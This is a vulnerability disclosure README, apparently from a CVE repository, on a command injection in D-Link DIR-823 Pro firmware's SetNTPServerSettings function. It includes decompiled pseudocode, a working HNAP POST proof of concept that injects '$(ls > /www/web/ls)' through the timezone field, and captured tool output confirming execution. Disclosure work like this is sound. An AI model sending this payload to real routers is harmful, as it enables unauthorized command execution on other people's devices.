

main CVEIDs / Dlink-823pro /



F0und-icu add vversion ...

on Apr 1 History

..



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README.md

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README.md

D-link 823pro v1.0.2 has a commend injection vulnerability

Overview

- **Type:** command injection vulnerability
- **Vendor:** D-link (<http://www.dlink.com.cn/>)
- **Products:** WiFi Router Link 823 pro
- **Firmware download address:** <http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-823>

Description

1.Product Information:

DIR-823_A1_FW100WWb04

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DIR-823
DIR-823 11ac 1200M 四天线无线路由器



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常见问题

视频

规格

为了获得正确的下载，请为您的设备选择正确的硬件版本。

A1

▼

怎样找到硬件版本？

| 类型 | 日期 | |
|--------------|------------|----|
| 固件版本 (1.00) | 2017/12/19 | 下载 |
| 快速安装指南 (1.0) | 2017/12/19 | 下载 |



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2.Vulnerability details

Drink 823-pro DIR-823_A1_FW100WWb04 was discovered to contain a command injection vulnerability in SetNTPServerSetings function

```

cternal symbol Lumina Function
IDA View-A Pseudocode-E Pseudocode-D Pseudocode-C Pseudocode-B Pseudocode-A Strings window Hex View-1
1 int __fastcall sub_42AB84(int a1, int a2, const char *a3)
2 {
3     int v5; // $a1
4     char v7[64]; // [sp+20h] [-E0h] BYREF
5     char v8[64]; // [sp+60h] [-A0h] BYREF
6     char v9[64]; // [sp+A0h] [-60h] BYREF
7     char v10[32]; // [sp+E0h] [-20h] BYREF
8
9     memset(v10, 0, sizeof(v10));
10    memset(v9, 0, sizeof(v9));
11    memset(v8, 0, sizeof(v8));
12    memset(v7, 0, sizeof(v7));
13    syslog(135, "%s:%s:%d:query:%s\n\n", "modules/management.c", "SetNTPServerSettings", 1375, a3);
14    strcpy(v8, "system_time_timezone");
15    WebGetVal(a1, v8, v10, 32);
16    if ( v10[0] )
17    {
18        snprintf(v7, 64, "system.@system[0].timezone=%s", v10);
19        if ( sub_41CAAC(v7) )
20        {
21            syslog(
22                135,
23                "%s:%s:%d:return ret error : SAVE_CONFIG_ERROR\n",
24                "modules/management.c",
25                "SetNTPServerSettings",
26                1385);
27            v5 = 19;
28        }
29        else
30        {
31            sub_41D234("system", 0);
32            sprintf(v9, "echo %s > /etc/TZ", v10);
33            system((int)v9);
34            system((int)"/etc/init.d/sysntpd restart");
35            system((int)"date -k");
36            v5 = 1;
37        }
38    }
39    else
40    {
41        syslog(
42            135,
43            "%s:%s:%d:return ret error : GET_JSON_NULL_ERROR\n",
44            "modules/management.c",
45            "SetNTPServerSettings",
46            1380);
47        v5 = 11;
48    }
49    return sub_41BAEC(a1, v5);
50 }

```

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 81
Accept: application/json
HNAP_AUTH: 84E9E7AB41420A00EC4C179066EAF998 1646491157369
SOAPACTION: "http://purenetworks.com/HNAP1/SetNTPServerSettings"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/json
Origin: http://192.168.0.1
Referer: http://192.168.0.1/SNTP.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=QD6gTcDw; PrivateKey=AE0E560AEB738499F86E570B459ED5F2;

```

```
work_mode=router; timeout=108
```

```
Connection: close
```

```
{"SetNTPServerSettings":{"system_time_timezone":"$(ls > /www/web/ls)"}}
```

Burp Suite Professional v2020.11.3 - Temporary Project - licensed to google

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

1 x 2 x 3 x ...

Send Cancel < >

Target: http://192.168.0.1

Request

Pretty Raw View Actions

```
1 POST /HNAP1/ HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 71
4 Accept: application/json
5 HNAP_AUTH: 84E9E7AB41420A00EC4C179066EAF998 1646491157369
6 SOAPACTION: "http://purenetworks.com/HNAP1/SetNTPServerSettings"
7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Appl
8 Content-Type: application/json
9 Origin: http://192.168.0.1
10 Referer: http://192.168.0.1/SNTP.html
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: uid=Q06gTcdw; PrivateKey=AE0E56AEB738499F86E570B459ED5F
14 Connection: close
15
16 {
17   "SetNTPServerSettings":{
18     "system_time_timezone":"$(ls > /www/web/ls)"
19   }
20 }
```

Response

Pretty Raw Render View Actions

```
1 200 OK
2 I-options: noopen
3 tions: SAMEORIGIN
4 type-options: nosniff
5 security-policy: default-src 'se
6 action: 1; mode=block
7 pe: text/html
8 : close
9 14 Oct 2017 02:45:22 GMT
10 ghttpd/1.4.32
11 ngth: 75
12
13
14 serverSettingsResponse": { "Set
```

POC - Python -m http.server 8888 - 80x24

```
Increasing send delay for 192.168.0.1 from 10 to 20 due to 11 out of 16 dropped
probes since last increase.
Increasing send delay for 192.168.0.1 from 20 to 40 due to 26 out of 85 dropped
probes since last increase.
Discovered open port 8010/tcp on 192.168.0.1
Completed SYN Stealth Scan at 22:22, 41.35s elapsed (1000 total ports)
Nmap scan report for 192.168.0.1
Host is up (0.00069s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
8010/tcp  open  xmpp
MAC Address: 74:DA:DA:98:6F:D7 (D-Link International)

Read data files from: /usr/local/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 54.44 seconds
Raw packets sent: 1163 (51.156KB) | Rcvd: 1032 (43.803KB)
[f0und@macbookpro POC % python3 -m http.server 8888
Serving HTTP on :: port 8888 (http://[::]:8888/) ...
::ffff:192.168.0.187 - - [05/Mar/2022 22:44:22] code 400, message Bad request sy
ntax ('q')
::ffff:192.168.0.187 - - [05/Mar/2022 22:44:22] "q" 400 -
```

Index.html

- IndexHome.html
- Login.html
- MacFilter.html
- MobileDevices.html
- MobileIndex.html
- MobileLogin.html
- MobileNetwork.html
- MobileProblem_Cable.html
- MobileProblem_Conflict.html
- MobileProblem_Key.html
- MobileProblem_Unknown.html
- MobileProblem_WAN.html
- MobileProblem_success.html
- MobileWeiManage.html
- MobileWireless.html
- MobileWizard.html
- MobileWorkMode.html
- Network.html
- Parentcontrol.html
- PortForward.html
- Problem_Cable.html
- Problem_Conflict.html
- Problem_Key.html
- Problem_Unknown.html
- Problem_WAN.html
- Problem_success.html
- QoSControl.html
- RouterInfo.html
- SNTP.html
- SharePortSetup.html
- Staticroute.html
- Uppn.html
- WeiManage.html
- WiFiFilter.html
- Wireless.html
- Wizard.html
- WorkMode.html
- account.html
- apple_portal_finish.html
- css
- debug.html
- errors
- footer.html
- header.html
- hnapi
- image
- js
- leftmenu.html
- priv_mgt.html
- reboot.html
- response.js
- * Connection #0 to host 192.168.0.1 left intact

f0und@macbookpro ~ %